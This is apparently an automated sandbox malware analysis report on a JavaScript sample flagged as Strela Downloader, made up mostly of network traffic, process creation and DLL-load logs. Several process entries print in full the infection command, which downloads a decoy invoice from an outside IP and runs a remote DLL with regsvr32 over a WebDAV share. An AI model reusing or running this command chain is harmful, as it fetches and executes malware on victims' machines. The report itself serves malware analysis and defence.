Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1692740059.0000017BC492D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1756784765.00000136FDB59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1756320016.00000136FDB7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1756709958.00000136FDB30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#
Source: net.exe, 00000006.00000002.1756709958.00000136FDB30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.2972840610.000001D4DDC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1769893476.000001D4DDBC8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1769893476.000001D4DDBC8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1769893476.000001D4DDBC8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1769893476.000001D4DDBFD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2764, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 152068002360415087.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5772:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5niohlmz.mge.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1612,i,11899374974407083053,10168938055786033090,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1612,i,11899374974407083053,10168938055786033090,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
